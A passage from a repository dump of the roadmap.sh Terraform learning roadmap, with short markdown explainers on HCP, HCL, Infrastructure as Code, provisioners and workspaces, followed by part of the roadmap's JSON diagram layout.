    "content": "# What and when to use HCP?\n\nHashiCorp Cloud Platform (HCP) is best used when organizations need a managed, scalable solution for their infrastructure-as-code practices. It's particularly valuable for teams seeking to streamline operations across multi-cloud environments, enhance collaboration, and maintain consistent governance. HCP is ideal when there's a need for centralized management of Terraform workflows, secure remote operations, and integrated secrets management. It's beneficial for large enterprises or growing teams that require robust access controls, policy enforcement, and audit capabilities. HCP should be considered when the complexity of self-managing HashiCorp tools becomes a burden, or when there's a desire to reduce operational overhead. It's also useful when organizations want to leverage the synergies between different HashiCorp products like Terraform, Vault, and Consul in a unified, managed environment. The platform is most effective when scaling infrastructure management needs outgrow the capabilities of standalone Terraform implementations.\n\nLearn more from the following resources:\n\n- [@official@Use Cases](https://developer.hashicorp.com/terraform/intro/use-cases)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/what-is-hcl@Hma2IgatFME8STHPwpeMG.md",
    "content": "# What is HCL?\n\nHCL, or HashiCorp Configuration Language, is a human-readable language for DevOps tools. It is used to code infrastructure management and service orchestration in a clear and manageable way. Several HashiCorp products, including Terraform, use HCL as their primary configuration language. Terraform uses HCL to provision and manage cloud resources efficiently. Its clear syntax and structure are instrumental in creating resource modules and configurations that align with the Terraform Roadmap's goals for providing a seamless, user-friendly platform for infrastructure as code.\n\n- [@official@Syntax - Configuration Language | Terraform](https://developer.hashicorp.com/terraform/language/syntax/configuration)\n- [@opensource@hashicorp/hcl](https://github.com/hashicorp/hcl)\n"
  },
  {
    "path": "src/data/roadmaps/terraform/content/what-is-infrastructure-as-code@twR3k9D-qDr1CbyW6K0Fs.md",
    "content": "# What is Infrastructure as Code?\n\nInfrastructure as Code (IaC) is a practice in DevOps and cloud computing that involves managing and provisioning computing infrastructure through machine-readable configuration files, rather than through physical hardware configuration or interactive configuration tools. This approach allows for version control, automation, and consistency in infrastructure deployment, making it easier to manage, scale, and replicate environments while reducing the risk of human error.\n\nLearn more from the following resources:\n\n- [@article@What Is It? Why Is It Important?](https://www.hashicorp.com/resources/what-is-infrastructure-as-code)\n- [@article@What is Infrastructure as Code?](https://www.redhat.com/en/topics/automation/what-is-infrastructure-as-code-iac)\n- [@video@What is Infrastructure as Code?](https://www.youtube.com/watch?v=zWw2wuiKd5o)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/what-is-terraform@CU9V3iRdssamsG-xMouXT.md",
    "content": "# What is Terraform?\n\nTerraform is a powerful tool designed by HashiCorp that helps you set up, manage, and update infrastructure safely and efficiently across various cloud providers. Think of it as a way to define your cloud resources—like servers, storage, and networks—using a simple code format. This makes it easier to automate, share, and manage your infrastructure, ensuring that everything is consistent and can be quickly reproduced or modified as needed.\n\nLearn more from the following resources:\n\n- [@official@What is Terraform?](https://developer.hashicorp.com/terraform/intro#what-is-terraform)\n- [@article@What is Terraform?](https://www.varonis.com/blog/what-is-terraform)\n- [@video@What is Terraform? Terraform Explained in 2 Minutes](https://www.youtube.com/watch?v=lIaUz2GAqEQ)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/when-to-use@CmmoshFC1dKE4y3SMN2bl.md",
    "content": "# When to Use?\n\nProvisioners in Terraform should be used judiciously, primarily when other declarative options are insufficient. They're appropriate for tasks that can't be accomplished through Terraform's resource configurations or data sources. Common scenarios include running initialization scripts on newly created servers, installing software not covered by provider-specific resources, or performing one-time setup tasks. Provisioners are useful for bootstrapping configuration management tools or handling complex, stateful operations that Terraform can't manage directly. However, they should be considered a last resort due to their potential to make Terraform runs less predictable and harder to manage. Whenever possible, prefer using cloud-init scripts, custom images, or separate configuration management tools. When provisioners are necessary, design them to be idempotent and resilient to failures to maintain Terraform's desired state consistency.\n\nLearn more from the following resources:\n\n- [@article@Why You should Use Terraform Provisioners as a Final Option](https://thomasthornton.cloud/2023/05/11/my-thoughts-on-why-you-should-use-terraform-provisioners-as-a-final-option/)\n- [@article@Why Terraform Provisioners Are The Last Resort?](https://k21academy.com/terraform-iac/terraform-provisioners/)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/workspaces@JoUWF6AQoreELxFHNi9oo.md",
    "content": "# Workspaces\n\nHCP workspaces, particularly in the context of Terraform Cloud, provide isolated environments for managing different sets of infrastructure. Each workspace is associated with a specific Terraform configuration and maintains its own state file, variables, and access controls. Workspaces enable teams to organize and separate infrastructure based on projects, environments, or teams. They support collaborative workflows by allowing multiple team members to work on the same infrastructure while maintaining version control and change history. HCP workspaces offer features like remote state management, secure variable storage, and integration with version control systems. They also provide run triggers for automating workflows across dependent infrastructures. With built-in access controls, organizations can enforce least-privilege principles by granting specific permissions to users or teams for each workspace.\n\nLearn more from the following resources:\n\n- [@official@Workspaces](https://developer.hashicorp.com/terraform/cloud-docs/workspaces)\n- [@article@Organize workspaces with projects](https://developer.hashicorp.com/terraform/tutorials/cloud/projects)\n- [@video@Organize your Terraform Cloud workspaces using Projects](https://www.youtube.com/watch?v=J1T1tbU6wAU)"
  },
  {
    "path": "src/data/roadmaps/terraform/content/workspaces@nFq-64JQoYAKjN9YkmOfO.md",
    "content": "# Workspaces\n\nTerraform workspaces allow managing multiple distinct sets of infrastructure resources within a single configuration. They provide a way to create separate instances of state for the same configuration, enabling users to maintain different environments (like development, staging, and production) or experiment with changes without affecting the main infrastructure. Each workspace has its own state file, allowing for isolated management of resources. Workspaces are particularly useful for testing changes before applying them to production or for managing slight variations in configuration across different environments. They can be easily switched between using Terraform CLI commands. For more significant environment differences, separate configuration directories or state files might be more appropriate.\n\nLearn more with the following resources:\n\n- [@official@Workspaces](https://developer.hashicorp.com/terraform/language/state/workspaces)\n- [@article@What are Terraform workspaces?](https://spacelift.io/blog/terraform-workspaces)\n- [@video@Structuring Repositories for Terraform Workspaces - Hashicorp](https://www.youtube.com/watch?v=IDLGpkRmDXg)"
  },
  {
    "path": "src/data/roadmaps/terraform/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/terraform/terraform.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"1sQIF1NLOsdBFJ3-izGq6\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 145.09516084313918,\n        \"y\": 2627.9187080995052\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 96,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 96\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 145.09516084313918,\n        \"y\": 2627.9187080995052\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 96\n      }\n    },\n    {\n      \"id\": \"PWsbqxaFSeU64B8E7ONZn\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -492.5813050739364,\n        \"y\": 1202.6185818911601\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 263,\n      \"height\": 400,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 400\n      },\n      \"positionAbsolute\": {\n        \"x\": -492.5813050739364,\n        \"y\": 1202.6185818911601\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 400\n      }\n    },\n    {\n      \"id\": \"2e8USwDY3mi53rDIGnQOq\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -496.6267326449455,\n        \"y\": 463\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 223,\n      \"height\": 337,\n      \"style\": {\n        \"width\": 223,\n        \"height\": 337\n      },\n      \"positionAbsolute\": {\n        \"x\": -496.6267326449455,\n        \"y\": 463\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 223,\n        \"height\": 337\n      }\n    },\n    {\n      \"id\": \"-PDYmhSQlGbLLFBJQ-Fo3\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -82.52142387891507,\n        \"y\": -265.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mastering Terraform\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 298,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -82.52142387891507,\n        \"y\": -265.8160596822612\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 299,\n        \"height\": 68\n      }\n    },\n    {\n      \"id\": \"C9JZEtVtDFfhmw6DuHtcx\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 55.97857612108493,\n        \"y\": -376.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 106,\n      \"positionAbsolute\": {\n        \"x\": 55.97857612108493,\n        \"y\": -376.8160596822612\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 106\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 106\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 303.2253434939207,\n        \"y\": -389.984004153963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 141,\n      \"positionAbsolute\": {\n        \"x\": 303.2253434939207,\n        \"y\": -389.984004153963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 141\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 141\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 313.2253434939207,\n        \"y\": -310.8160596822612\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 302,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 313.2253434939207,\n        \"y\": -310.8160596822612\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h6qRrUe-bn25s0UkxU600\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"oldId\": \"UlH9oNKGD37RPAapiPe19\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -43.52142387891507,\n        \"y\": -51\n      },\n      \"width\": 220,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -43.52142387891507,\n        \"y\": -51\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CU9V3iRdssamsG-xMouXT\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"What is Terraform?\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.0774561984448,\n        \"y\": -104.5\n      },\n      \"width\": 301,\n      \"height\": 49,\n      \"selected\": false,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.0774561984448,\n        \"y\": -104.5\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hRIDJHIxWc5Iav7tsu8l-\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Usecases and Benefits\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.0774561984448,\n        \"y\": -51\n      },\n      \"width\": 301,\n      \"height\": 49,\n      \"selected\": false,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.0774561984448,\n        \"y\": -51\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AYtBLFU1nowEq-EVlXrEZ\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Installing Terraform\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.0774561984448,\n        \"y\": 56\n      },\n      \"width\": 301,\n      \"height\": 49,\n      \"selected\": false,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.0774561984448,\n        \"y\": 56\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UsINvx84pBF1hp8XoLF4c\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"CaC vs IaC\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.0774561984448,\n        \"y\": 2.5\n      },\n      \"width\": 301,\n      \"height\": 49,\n      \"dragging\": false,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.0774561984448,\n        \"y\": 2.5\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GlIXmCuvR_C81RMeMM1Kz\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Project Initialization\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": 55.97857612108493,\n        \"y\": 227.60563595038883\n      },\n      \"width\": 251,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 55.97857612108493,\n        \"y\": 227.60563595038883\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZRVv9onD7KGz1cJLcsnwy\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Providers\",\n        \"oldId\": \"BYydmFc2e-YPCC4MCWmh2\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -173.5,\n        \"y\": 225.60563595038883\n      },\n      \"width\": 169,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -173.5,\n        \"y\": 225.60563595038883\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iIjUG_N_mQtLHG25v4-xg\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Terraform Registry\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.4436404961119,\n        \"y\": 173.60563595038883\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.4436404961119,\n        \"y\": 173.60563595038883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JJ-QhLWqT0luis_kVDVHW\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Configuring Providers\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.4436404961119,\n        \"y\": 227.60563595038883\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.4436404961119,\n        \"y\": 227.60563595038883\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bnQ2YLHd7E-vRxX3PnUEX\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Versions\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.4436404961119,\n        \"y\": 281.60563595038883\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.4436404961119,\n        \"y\": 281.60563595038883\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qhO7CY-1_vuh2BVJYQCzh\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Hashicorp Config. Language (HCL)\",\n        \"oldId\": \"UsINvx84pBF1hp8XoLF4c\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": 252.04933440247441,\n        \"y\": 83.78872809922237\n      },\n      \"width\": 375,\n      \"height\": 49,\n      \"dragging\": false,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 375,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 252.04933440247441,\n        \"y\": 83.78872809922237\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 375,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"twR3k9D-qDr1CbyW6K0Fs\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"What is Infrastructure as Code?\",\n        \"oldId\": \"CU9V3iRdssamsG-xMouXT\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.0774561984448,\n        \"y\": -158\n      },\n      \"width\": 301,\n      \"height\": 49,\n      \"selected\": false,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.0774561984448,\n        \"y\": -158\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Hma2IgatFME8STHPwpeMG\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"What is HCL?\",\n        \"oldId\": \"CU9V3iRdssamsG-xMouXT\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -41.9647371906687,\n        \"y\": 56.5\n      },\n      \"width\": 218,\n      \"height\": 49,\n      \"selected\": false,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -41.9647371906687,\n        \"y\": 56.5\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LaD0H7XhoEEaXbcwjxAbw\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Basic Syntax\",\n        \"oldId\": \"Hma2IgatFME8STHPwpeMG\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -41.9647371906687,\n        \"y\": 110.5\n      },\n      \"width\": 218,\n      \"height\": 49,\n      \"selected\": false,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -41.9647371906687,\n        \"y\": 110.5\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PstbOGqR_4C2WWV8CWXes\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -500.0774561984448,\n        \"y\": -395.984004153963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"3uv48fdglShh8YYF3zRWv\",\n            \"label\": \"DevOps Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/devops\"\n          },\n          {\n            \"id\": \"td_Z-sAuf092awd8U-VNG\",\n            \"label\": \"Linux Roadmap\",\n            \"url\": \"https://roadmap.sh/linux\"\n          },\n          {\n            \"id\": \"-lnv-MTn0XvfK8ZUygICA\",\n            \"label\": \"Docker Roadmap\",\n            \"url\": \"https://roadmap.sh/docker\"\n          },\n          {\n            \"id\": \"g16GhbDV0bcaEcxRGAgA8\",\n            \"label\": \"Kubernetes Roadmap\",\n            \"url\": \"https://roadmap.sh/kubernetes\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 341,\n      \"height\": 193,\n      \"positionAbsolute\": {\n        \"x\": -500.0774561984448,\n        \"y\": -395.984004153963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 341,\n        \"height\": 193\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 341,\n        \"height\": 193\n      }\n    },\n    {\n      \"id\": \"gZTlcVKKhc8ItahoRWs2Z\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 303.2253434939207,\n        \"y\": -233.98400415396299\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Make sure to visit DevOps roadmap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"backgroundColor\": \"WHITe\",\n          \"borderColor\": \"BLACk\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 115,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 322,\n        \"height\": 115\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 303.2253434939207,\n        \"y\": -233.98400415396299\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 322,\n        \"height\": 115\n      }\n    },\n    {\n      \"id\": \"ePdD5Qwq665Rc17ML4-wp\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 313.2253434939207,\n        \"y\": -179.5\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevOps Roadmap\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#444444\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 302,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 302,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 313.2253434939207,\n        \"y\": -179.5\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 302,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BYydmFc2e-YPCC4MCWmh2\",\n      \"type\": \"topic\",\n      \"data\": {\n        \"label\": \"Resources\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -173.5,\n        \"y\": 404\n      },\n      \"width\": 169,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": -173.5,\n        \"y\": 404\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BgZu7Xao5GjR8StVL7qhM\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Resource Behavior\",\n        \"oldId\": \"yj1nAFHuFGyMfqWcAydNt\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.4436404961119,\n        \"y\": 350\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.4436404961119,\n        \"y\": 350\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"76kp98rvph_8UOXZR-PBC\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Resource Lifecycle\",\n        \"oldId\": \"yj1nAFHuFGyMfqWcAydNt\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -500.4436404961119,\n        \"y\": 404\n      },\n      \"width\": 231,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -500.4436404961119,\n        \"y\": 404\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EIsex6gNHDRYHn0o2spzi\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"depends_on\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -482.3801979348366,\n        \"y\": 523.6056359503888\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.3801979348366,\n        \"y\": 523.6056359503888\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kyScfijEntX9H1mp7tmej\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"count\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -482.3801979348366,\n        \"y\": 577.1056359503888\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.3801979348366,\n        \"y\": 577.1056359503888\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gcdg_GhAacIWzv19ITTE_\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"for_each\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -482.3801979348366,\n        \"y\": 630.6056359503888\n      },\n      \"width\": 193,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -482.3801979348366,\n        \"y\": 630.6056359503888\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5FLOFTP_nCa3qi1wbV4qE\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"provider\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"position\": {\n        \"x\": -482.3801979348366,\n        \"y\": 684.1056359503888\n      },\n      